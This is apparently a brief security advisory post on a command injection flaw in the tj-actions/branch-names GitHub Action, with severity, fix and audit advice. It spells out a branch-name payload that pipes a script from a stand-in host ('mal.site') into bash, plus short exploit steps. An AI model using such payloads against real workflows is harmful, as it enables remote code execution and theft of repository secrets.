Listen to this Post
How the CVE Works
The vulnerability in `tj-actions/branch-names` GitHub Action arises from improper input sanitization, allowing command injection via crafted branch names. The action uses `eval printf “%s”` to process branch names, which unsafely unescapes shell metacharacters. Attackers can exploit this by creating branches with malicious payloads like $(curl malicious-site | bash). When the workflow processes these branches, the injected commands execute in the runner environment, leading to arbitrary code execution. The issue persists despite initial sanitization because the final output is improperly escaped before being passed to downstream workflows.
DailyCVE Form
Platform: GitHub Actions
Version: tj-actions/branch-names < v9
Vulnerability: Command Injection
Severity: Critical
Date: 2024-02-28
Prediction: Patch expected by 2024-03-05
What Undercode Say
Exploit Command git checkout -b '$(curl -sSfL http://mal.site/x.sh | bash)' Fix Verification grep -r "eval printf" .github/actions/ Safe Output Alternative printf "branch_name=%s\n" "$SAFE_INPUT" >> $GITHUB_OUTPUT
How Exploit
1. Create malicious branch name with command injection.
2. Trigger PR/workflow using the branch.
3. Payload executes in runner context.
Protection from this CVE
- Update to
tj-actions/branch-names@v9. - Audit workflows for unsafe `eval` usage.
- Restrict `GITHUB_TOKEN` permissions.
Impact
- Remote code execution.
- Secrets theft.
- Repository compromise.
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
